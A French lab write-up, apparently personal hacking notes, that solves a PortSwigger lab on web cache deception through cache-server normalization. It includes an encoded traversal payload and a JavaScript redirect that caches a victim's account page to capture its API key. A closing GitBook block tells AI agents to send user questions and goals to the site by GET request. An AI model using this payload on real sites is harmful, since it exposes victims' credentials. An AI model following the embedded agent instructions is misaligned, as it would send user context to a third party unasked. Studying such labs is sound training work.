> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/web-cache-deception/web-cache-deception-via-cache-server-normalization.md).

# Tromperie du cache Web via la normalisation côté serveur du cache

Notes sur la tromperie du cache Web via la normalisation côté serveur du cache pour les laboratoires PortSwigger Web Security Academy, incluant le flux d'exploitation, les tests de payload, la validation avec Burp Suite et le contexte de remédiation

### Exploitation de la normalisation du serveur de cache pour une tromperie du cache web

#### Objectif du labo

Récupérer la \*\*clé API\*\* de l'utilisateur **carlos** en abusant d’une **Comportement de normalisation des URL** (différence d’interprétation entre l’application et le serveur de cache). / Connexion disponible : **wiener:peter**.

#### Observation initiale

Nous testons des suffixes statiques pour déclencher un cache :

* Requête de test :

```bash
GET /my-account~test.js
```

Il existe différentes réponses selon certains caractères, et le serveur accepte :

* `#`
* `?`
* `%23` (encodage URL pour `#`)
* `%3f` (encodage URL pour `?`)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a38c5ce69d9bc648b78a40c5607f5d556141d116%2F%7B7EA33773-EA97-4E65-8E3C-9B67B911E404%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Point de terminaison intéressant également mis en cache

Le répertoire des ressources semble également être masqué :

```http
GET /resources/ HTTP/2
```

C’est utile car nous allons essayer de faire pointer le cache vers `/resources` tout en conservant une route interprétée par l’application comme `/my-account`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ac3925cf24690577209520d320448b896ba6500%2F%7B7F170BB2-692C-4C03-AFDB-A93F867CD2FC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Technique : Fragment + Cross (avec normalisation)

Une URL est construite de sorte que l’application continue de traiter **/my-account**mais où le cache normalise/interprète la séquence pour aboutir à **/resources**.

Tests :

```bash
GET /my-account#/../resources
# Version encodée (celle qui “passe” le mieux ici)
GET /my-account%23%2f%2e%2e%2fresources
```

Le point clé : **Le serveur de cache apprécie la version encodée de l’URL**ce qui déclenche le comportement attendu.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c8a3b989034d2126928f920b56b0210cbfcb6cb%2F%7B32BEC397-C36D-4B08-80BA-C8669DA6BD40%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation : forcer la victime à mettre la page en cache

Comme depuis le serveur d’exploitation, la victime est redirigée vers l’URL piégée :

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0abe00b00342ae8780a1bcdf00f10008.web-security-academy.net/my-account%23%2f%2e%2e%2fresources";
</script>
```

{% endcode %}

#### Résultat

Une fois que la victime a emprunté cette URL, la ressource servie depuis le cache est récupérée et la \*\*clé API carlos\*\* est obtenue, ce qui valide le laboratoire.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c1cb865be0c727f07377cd7c213a274615e27e5%2F%7B894F3806-E4A6-4A0C-8C5E-266C61681C7D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/web-cache-deception/web-cache-deception-via-cache-server-normalization.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
